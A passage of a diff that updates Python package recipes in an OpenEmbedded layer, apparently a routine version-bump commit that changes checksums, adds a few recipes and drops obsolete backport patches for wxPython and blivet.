diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_0.9.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_1.1.0.bb
index 6622f6220a..e925712f36 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_0.9.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_1.1.0.bb
@@ -4,8 +4,7 @@ HOMEPAGE = "https://pypi.org/project/trustme"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=d5a7af1a4b73e57431e25d15a2da745a"
-SRC_URI[md5sum] = "0e4d698e5aecaf8306cf440bf3dcbbe0"
-SRC_URI[sha256sum] = "5e07b23d70ceed64f3bb36ae4b9abc52354c16c98d45ab037bee2b5fbffe586c"
+SRC_URI[sha256sum] = "5375ad7fb427074bec956592e0d4ee2a4cf4da68934e1ba4bcf4217126bc45e6"
inherit pypi setuptools3 ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-txaio_23.1.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-txaio_23.1.1.bb
index 7559accf41..3b0562421b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-txaio_23.1.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-txaio_23.1.1.bb
@@ -10,5 +10,3 @@ inherit pypi setuptools3
RDEPENDS:${PN} += " \
${PYTHON_PN}-twisted \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.16.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.17.bb
index 02245be622..055cecd640 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.16.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.17.bb
@@ -5,6 +5,6 @@ LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=6;endline=6;md5=ef4dc1e740f5c928f1
inherit pypi setuptools3
-SRC_URI[sha256sum] = "4e9b219efb625d3d04f6bf106934f87cab49aa41a94b0a3b3089403f47a79228"
+SRC_URI[sha256sum] = "f7d8769812d72a4b513d7ec9eb5580fe2f6013fc270394a603cb6534811f3e4d"
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.1.bb
index ed0b1b2cd8..1061213357 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.1.bb
@@ -5,6 +5,6 @@ LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=6;endline=6;md5=ef4dc1e740f5c928f1
inherit pypi setuptools3
-SRC_URI[sha256sum] = "a4216f1e2ef29d089877b3af3ab2acf489eb869ccaf905125c69d2dc3932fd85"
+SRC_URI[sha256sum] = "8f31e8201e7969789e0eb23463b53ebe5f67d92417df4b648a6ea3c357ca4f51"
BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.2.bb
index 9673c5d0ea..866a7a78c5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.2.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://pypi.org/project/tzlocal/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=57e0bd61643d81d05683cdce65b11d10"
-SRC_URI[sha256sum] = "46eb99ad4bdb71f3f72b7d24f4267753e240944ecfc16f25d2719ba89827a803"
+SRC_URI[sha256sum] = "8d399205578f1a9342816409cc1e46a93ebd5755e39ea2d85334bea911bf0e6e"
inherit pypi python_setuptools_build_meta
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-unoconv_0.9.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-unoconv_0.9.0.bb
new file mode 100644
index 0000000000..3c944b4f2c
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-unoconv_0.9.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Universal Office Converter - Office document conversion"
+HOMEPAGE = "https://github.com/unoconv/unoconv"
+LICENSE = "GPL-2.0-only"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+SRC_URI[sha256sum] = "308ebfd98e67d898834876348b27caf41470cd853fbe2681cc7dacd8fd5e6031"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE="unoconv"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-distutils \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-shell \
+"
+
+do_install:append() {
+ sed -i -e 's:^#!/usr/bin/env python$:#!/usr/bin/env python3:' ${D}/usr/bin/unoconv
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.6.bb
index d05c7f4927..aa11534f7d 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.6.bb
@@ -6,7 +6,7 @@ HOMEPAGE = "https://github.com/pypa/virtualenv"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0ce089158cf60a8ab6abb452b6405538"
-SRC_URI[sha256sum] = "e8361967f6da6fbdf1426483bfe9fca8287c242ac0bc30429905721cefbff752"
+SRC_URI[sha256sum] = "02ece4f56fbf939dbbc33c0715159951d6bf14aaf5457b092e4548e1382455af"
BBCLASSEXTEND = "native nativesdk"
inherit pypi python_hatchling
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-wand_0.6.13.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-wand_0.6.13.bb
new file mode 100644
index 0000000000..85e05ad97b
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-wand_0.6.13.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Ctypes-based simple MagickWand API binding for Python"
+HOMEPAGE = "https://docs.wand-py.org/"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0bf19e5c00d047fee994ae332db3aab6"
+
+SRC_URI[sha256sum] = "f5013484eaf7a20eb22d1821aaefe60b50cc329722372b5f8565d46d4aaafcca"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE="Wand"
+
+FILES:${PN}-doc += "${datadir}/README.rst"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.10.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.11.3.bb
index cba7ffe0db..2c7aca9ba9 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.10.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.11.3.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=373fede350846fdffd23648fba504635"
-SRC_URI[sha256sum] = "ea89f8a6ee74b74c3ff21954eafe00ec914365adb904c6c374f559bc46d4a61c"
+SRC_URI[sha256sum] = "f9bec9d2339bf649fe25293435a5c897a4b035aa96d6c33670ed467acf59dbe7"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.4.bb
index 8104d37599..961cdb916c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.4.bb
@@ -7,7 +7,7 @@ HOMEPAGE = "https://github.com/websocket-client/websocket-client"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=6eae3bb7247ccb2c3a087ea8de759c01"
-SRC_URI[sha256sum] = "3aad25d31284266bcfcfd1fd8a743f63282305a364b8d0948a43bd606acc652f"
+SRC_URI[sha256sum] = "b3324019b3c28572086c4a319f91d1dcd44e6e11cd340232978c684a7650d0df"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_11.0.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_12.0.bb
index e6971c8297..f89c3b629e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_11.0.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_12.0.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=51924a6af4495b8cfaee1b1da869b6f4"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"
+SRC_URI[sha256sum] = "81df9cbcbb6c260de1e007e58c011bfebe2dafc8435107b0537f393dd38c8b1b"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.15.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.16.0.bb
index e35e1f7a79..f99b552c63 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.15.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.16.0.bb
@@ -4,7 +4,7 @@ LICENSE = "BSD-2-Clause"
SECTION = "devel/python"
LIC_FILES_CHKSUM = "file://LICENSE;md5=dc34cbad60bc961452eb7ade801d25f7"
-SRC_URI[sha256sum] = "d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"
+SRC_URI[sha256sum] = "5f370f952971e7d17c7d1ead40e49f32345a7f7a5373571ef44d800d06b1899d"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.9.bb
index 6952d533da..ee7dab35cb 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.9.bb
@@ -16,6 +16,6 @@ RDEPENDS:${PN} += " \
python3-io \
"
-SRC_URI[sha256sum] = "696c16458d50712a3a5f902676c045ddb4c1bd1b54595f501e582d549abdbdb9"
+SRC_URI[sha256sum] = "de810bf328c6a4550f4ffd6b0b34972aeb7ffcf40f3d285a0413734f9b63a929"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_4.7.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_6.2.1.1.bb
index ccd1cd787d..254d9d035e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_4.7.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_6.2.1.1.bb
@@ -2,12 +2,11 @@ DESCRIPTION = "Font Awesome icons packaged for setuptools (easy_install) / pip."
HOMEPAGE = "https://pypi.python.org/pypi/XStatic-Font-Awesome"
SECTION = "devel/python"
LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://PKG-INFO;md5=313d021898694cd2b0ea6508bdfe51a2"
+LIC_FILES_CHKSUM = "file://PKG-INFO;md5=f1a2fe131dcb2fc6243c26cf05ecdb36"
PYPI_PACKAGE = "XStatic-Font-Awesome"
-SRC_URI[md5sum] = "141a0e9a7e21e82f922573a00ae0c166"
-SRC_URI[sha256sum] = "e01fb480caaa7c7963dcb3328a4700e631bef6070db0e8b685816d220e685f6c"
+SRC_URI[sha256sum] = "f075871096128638f2e1539020d8227754c3d885dd68e7ee6de9a01235076828"
DEPENDS += " \
${PYTHON_PN}-xstatic \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.3.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.4.1.bb
index e3aec97375..4050d12eb9 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.3.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.4.1.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3a9dab7f159514231249aa3e108ab26b"
DEPENDS += "python3-setuptools-scm-native"
-SRC_URI[sha256sum] = "c3f9e322b1ebeebd44e3d9d2d9b124e0c550c1ef41bd552afdcdd719516ee41a"
+SRC_URI[sha256sum] = "0379d6cf1ff987cd421609a264ce025e74f346e3e145dd106c0cc2e3ec3f99a9"
SRC_URI += " \
file://run-ptest \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.112.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.127.0.bb
index 6ff4fffb08..45df13eec0 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.112.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.127.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/jstasiak/python-zeroconf"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=6;endline=6;md5=6517bdc8f2416f27ab725d4702f7aac3"
-SRC_URI[sha256sum] = "f2457ed290c70dbca686b411f2351c3ff9f367afaae668d75cf378e9a439b8aa"
+SRC_URI[sha256sum] = "1ec001989666be7f76630d6bb8b07fb3928d655fa79a1484674a776778c9a1b3"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeevent_5.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeevent_5.0.bb
new file mode 100644
index 0000000000..4d914c63e9
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeevent_5.0.bb
@@ -0,0 +1,10 @@
+DESCRIPTION = "The zope.event package provides a simple event system"
+
+LICENSE = "ZPL-2.1"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=72092419572155ddc2d4fb7631c63dd3"
+
+SRC_URI[sha256sum] = "bac440d8d9891b4068e2b5a2c5e2c9765a9df762944bda6955f96bb9b91e67cd"
+
+PYPI_PACKAGE = "zope.event"
+
+inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.1.bb
index 264898adb6..07e329a4a8 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.1.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e54fd776274c1b7423
PYPI_PACKAGE = "zope.interface"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d"
+SRC_URI[sha256sum] = "2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309"
PACKAGES =. "${PN}-test "
diff --git a/meta-openembedded/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb b/meta-openembedded/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb
index b72589368d..fadcc32c24 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb
@@ -4,7 +4,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e664eb75e2791c2e505e6e1c274e6d4f"
SRCREV = "218d310e3d840715b1c8e67cefd5b6d71a2d7a1a"
-SRC_URI = "git://github.com/NordicSemiconductor/piccata.git;protocol=http;branch=master"
+SRC_URI = "git://github.com/NordicSemiconductor/piccata.git;protocol=https;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_1.7.0.bb b/meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_2.0.13.bb
index b6c40921c3..bb5b973d86 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_1.7.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_2.0.13.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/tomerfiliba/reedsolomon"
LICENSE = "MIT-0 | Unlicense"
LIC_FILES_CHKSUM = "file://LICENSE;md5=ffde61aeb8917e70e0257e0a4b6d103c"
-SRC_URI[sha256sum] = "c1359f02742751afe0f1c0de9f0772cc113835aa2855d2db420ea24393c87732"
+SRC_URI[sha256sum] = "71b4121c6860a55899435c552051a19d5f023c50358be4b1c0fa0c6e2f4ac717"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4/0001-pypubsub-Replace-deprecated-inspect.getargspec.patch b/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4/0001-pypubsub-Replace-deprecated-inspect.getargspec.patch
deleted file mode 100644
index 9bec4c5ba6..0000000000
--- a/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4/0001-pypubsub-Replace-deprecated-inspect.getargspec.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-Upstream-Status: Backport [https://github.com/wxWidgets/Phoenix/commit/9986a0d5]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 9986a0d5c24b5d45ddf571d60351f68765a8a9be Mon Sep 17 00:00:00 2001
-From: Scott Talbert <swt@techie.net>
-Date: Mon, 8 Aug 2022 22:35:58 -0400
-Subject: [PATCH] pypubsub: Replace deprecated inspect.getargspec
-
-inspect.getargspec was removed in Python 3.11. This is a backport of:
-https://github.com/schollii/pypubsub/commit/089c7a73f85c76a3aa22e4b10c71db1bf65a8637
----
- wx/lib/pubsub/core/callables.py | 23 +++++++++++++++--------
- 1 file changed, 15 insertions(+), 8 deletions(-)
-
-diff --git a/wx/lib/pubsub/core/callables.py b/wx/lib/pubsub/core/callables.py
-index 65eb1ebe..7e798c54 100644
---- a/wx/lib/pubsub/core/callables.py
-+++ b/wx/lib/pubsub/core/callables.py
-@@ -12,7 +12,7 @@ CallArgsInfo regarding its autoTopicArgName data member.
-
- """
-
--from inspect import getargspec, ismethod, isfunction
-+from inspect import ismethod, isfunction, signature, Parameter
-
- from .. import py2and3
-
-@@ -133,19 +133,26 @@ class CallArgsInfo:
- self.autoTopicArgName = None."""
-
- #args, firstArgIdx, defaultVals, acceptsAllKwargs
-- (allParams, varParamName, varOptParamName, defaultVals) = getargspec(func)
-- if defaultVals is None:
-- defaultVals = []
-- else:
-- defaultVals = list(defaultVals)
-+ allParams = []
-+ defaultVals = []
-+ varParamName = None
-+ varOptParamName = None
-+ for argName, param in signature(func).parameters.items():
-+ if param.default != Parameter.empty:
-+ defaultVals.append(param.default)
-+ if param.kind == Parameter.VAR_POSITIONAL:
-+ varParamName = argName
-+ elif param.kind == Parameter.VAR_KEYWORD:
-+ varOptParamName = argName
-+ else:
-+ allParams.append(argName)
-
- self.acceptsAllKwargs = (varOptParamName is not None)
- self.acceptsAllUnnamedArgs = (varParamName is not None)
--
- self.allParams = allParams
-- del self.allParams[0:firstArgIdx] # does nothing if firstArgIdx == 0
-
- self.numRequired = len(self.allParams) - len(defaultVals)
-+ assert len(self.allParams) >= len(defaultVals)
- assert self.numRequired >= 0
-
- # if listener wants topic, remove that arg from args/defaultVals
---
-2.34.1
-
diff --git a/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.1.bb
index bf87b0a73d..fb011cb71b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.1.bb
@@ -13,10 +13,9 @@ PYPI_PACKAGE = "wxPython"
SRC_URI += "file://add-back-option-build-base.patch \
file://wxgtk-fixup-build-scripts.patch \
file://not-overwrite-cflags-cxxflags.patch \
- file://0001-pypubsub-Replace-deprecated-inspect.getargspec.patch \
file://0001-sip-Conditionally-use-GetAssertStackTrace-under-USE_.patch \
"
-SRC_URI[sha256sum] = "663cebc4509d7e5d113518865fe274f77f95434c5d57bc386ed58d65ceed86c7"
+SRC_URI[sha256sum] = "e48de211a6606bf072ec3fa778771d6b746c00b7f4b970eb58728ddf56d13d5c"
S = "${WORKDIR}/wxPython-${PV}"
diff --git a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet/0004-fix-new.roots-object-is-not-iterable.patch b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet/0004-fix-new.roots-object-is-not-iterable.patch
deleted file mode 100644
index 526a3b1fb2..0000000000
--- a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet/0004-fix-new.roots-object-is-not-iterable.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 3bb8d08bdec2f79bb13c0a44b81718d26e5bdabc Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 8 May 2017 16:30:20 +0800
-Subject: [PATCH 04/11] fix new.roots object is not iterable
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- blivet/blivet.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/blivet/blivet.py b/blivet/blivet.py
-index ea08837..91c92b2 100644
---- a/blivet/blivet.py
-+++ b/blivet/blivet.py
-@@ -1206,7 +1206,7 @@ class Blivet(object):
- p = partition.disk.format.parted_disk.getPartitionByPath(partition.path)
- partition.parted_partition = p
-
-- for root in new.roots:
-+ for root in new.roots or []:
- root.swaps = [new.devicetree.get_device_by_id(d.id, hidden=True) for d in root.swaps]
- root.swaps = [s for s in root.swaps if s]
-
---
-2.7.4
-
diff --git a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.4.3.bb b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.8.2.bb
index bd57604f26..52b3aa7dc7 100644
--- a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.4.3.bb
+++ b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.8.2.bb
@@ -8,7 +8,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI += "\
file://0002-run_program-support-timeout.patch \
file://0003-support-infinit-timeout.patch \
- file://0004-fix-new.roots-object-is-not-iterable.patch \
file://0005-fix-incorrect-timeout-while-system-time-changed.patch \
file://0006-tweak-btrfs-packages.patch \
file://0007-invoking-mount-with-infinite-timeout.patch \
@@ -17,16 +16,16 @@ SRC_URI += "\
file://0010-invoking-mkfs-with-infinite-timeout.patch \
file://0011-invoking-dd-with-infinite-timeout.patch \
"
-SRC_URI[sha256sum] = "1b05b77f3ee35d82c7a577a168c9ba0204d3e9a87eb1975e5f9af47700eeff48"
+SRC_URI[sha256sum] = "88d1500c76c4660aec7da9e9aa54f7f574546571b52c07a67e1417883c2cb25b"
inherit pypi features_check systemd setuptools3_legacy
REQUIRED_DISTRO_FEATURES = "systemd"
RDEPENDS:${PN} += "python3-pykickstart python3-pyudev \
- parted python3-pyparted multipath-tools \
- lsof cryptsetup libblockdev \
- libbytesize \
+ parted python3-pyparted multipath-tools \
+ lsof cryptsetup libblockdev \
+ libbytesize \
"
FILES:${PN} += " \
diff --git a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0001-Use-setuptools-instead-of-distutils-in-setup.py.patch b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0001-Use-setuptools-instead-of-distutils-in-setup.py.patch
deleted file mode 100644
index c88912bfa0..0000000000
--- a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0001-Use-setuptools-instead-of-distutils-in-setup.py.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 54014061be2fed20d6c35aba9719ea70a9fea9ea Mon Sep 17 00:00:00 2001
-From: Vojtech Trefny <vtrefny@redhat.com>
-Date: Wed, 1 Sep 2021 08:59:19 +0200
-Subject: [PATCH] Use setuptools instead of distutils in setup.py
-
-The distutils module is deprecated and will be removed in Python
-3.12.
-
-Upstream-Status: Backport [https://github.com/kraj/blivet-gui/commit/54014061be2fed20d6c35aba9719ea70a9fea9ea]
----
- setup.py | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index aa8ef57..77849a1 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1,7 +1,7 @@
- from __future__ import print_function
-
--from distutils.core import setup
--from distutils.command.sdist import sdist
-+from setuptools import setup
-+from setuptools.command.sdist import sdist
- import glob
- import sys
-
---
-2.35.1
-
diff --git a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0002-Use-symbolic-list-add-and-edit-icons.patch b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0002-Use-symbolic-list-add-and-edit-icons.patch
deleted file mode 100644
index 3a95859ad7..0000000000
--- a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0002-Use-symbolic-list-add-and-edit-icons.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Upstream-Status: Backport [https://github.com/storaged-project/blivet-gui/commit/eb8ec968]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From eb8ec968d1ee8b4b710568b1eb8536296f90751e Mon Sep 17 00:00:00 2001
-From: Adam Williamson <awilliam@redhat.com>
-Date: Thu, 17 Feb 2022 11:16:22 -0800
-Subject: [PATCH] Use symbolic list-add and edit- icons (Adwaita dropped old
- ones)
-
-adwaita-icon-theme 42 no longer includes the non-symbolic icons
-for these names. The choices are to switch to symbolic ones or
-carry the non-symbolic ones downstream.
-
-Signed-off-by: Adam Williamson <awilliam@redhat.com>
----
- blivetgui/list_actions.py | 8 ++++----
- blivetgui/processing_window.py | 6 +++---
- 2 files changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/blivetgui/list_actions.py b/blivetgui/list_actions.py
-index b7c1f9c..5388feb 100644
---- a/blivetgui/list_actions.py
-+++ b/blivetgui/list_actions.py
-@@ -48,10 +48,10 @@ def __init__(self, blivet_gui):
- self.blivet_gui = blivet_gui
-
- icon_theme = Gtk.IconTheme.get_default() # pylint: disable=no-value-for-parameter
-- icon_add = Gtk.IconTheme.load_icon(icon_theme, "list-add", 16, 0)
-- icon_delete = Gtk.IconTheme.load_icon(icon_theme, "edit-delete", 16, 0)
-- icon_edit = Gtk.IconTheme.load_icon(icon_theme, "edit-select-all", 16, 0)
-- icon_misc = Gtk.IconTheme.load_icon(icon_theme, "edit-paste", 16, 0)
-+ icon_add = Gtk.IconTheme.load_icon(icon_theme, "list-add-symbolic", 16, 0)
-+ icon_delete = Gtk.IconTheme.load_icon(icon_theme, "edit-delete-symbolic", 16, 0)
-+ icon_edit = Gtk.IconTheme.load_icon(icon_theme, "edit-select-all-symbolic", 16, 0)
-+ icon_misc = Gtk.IconTheme.load_icon(icon_theme, "edit-paste-symbolic", 16, 0)
-
- self.action_icons = {"add": icon_add, "delete": icon_delete, "edit": icon_edit,
- "misc": icon_misc}
-diff --git a/blivetgui/processing_window.py b/blivetgui/processing_window.py
-index c400f90..a020ae8 100644
---- a/blivetgui/processing_window.py
-+++ b/blivetgui/processing_window.py
-@@ -93,9 +93,9 @@ def add_action_view(self):
- """
-
- icon_theme = Gtk.IconTheme.get_default() # pylint: disable=no-value-for-parameter
-- icon_add = Gtk.IconTheme.load_icon(icon_theme, "list-add", 16, 0)
-- icon_delete = Gtk.IconTheme.load_icon(icon_theme, "edit-delete", 16, 0)
-- icon_edit = Gtk.IconTheme.load_icon(icon_theme, "edit-select-all", 16, 0)
-+ icon_add = Gtk.IconTheme.load_icon(icon_theme, "list-add-symbolic", 16, 0)
-+ icon_delete = Gtk.IconTheme.load_icon(icon_theme, "edit-delete-symbolic", 16, 0)
-+ icon_edit = Gtk.IconTheme.load_icon(icon_theme, "edit-select-all-symbolic", 16, 0)
-
- actions_list = Gtk.ListStore(GdkPixbuf.Pixbuf, str, GdkPixbuf.Pixbuf)
-
diff --git a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.3.0.bb b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.4.2.bb
index 42bcf4651c..b6e04e081e 100644
--- a/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.3.0.bb
+++ b/meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.4.2.bb
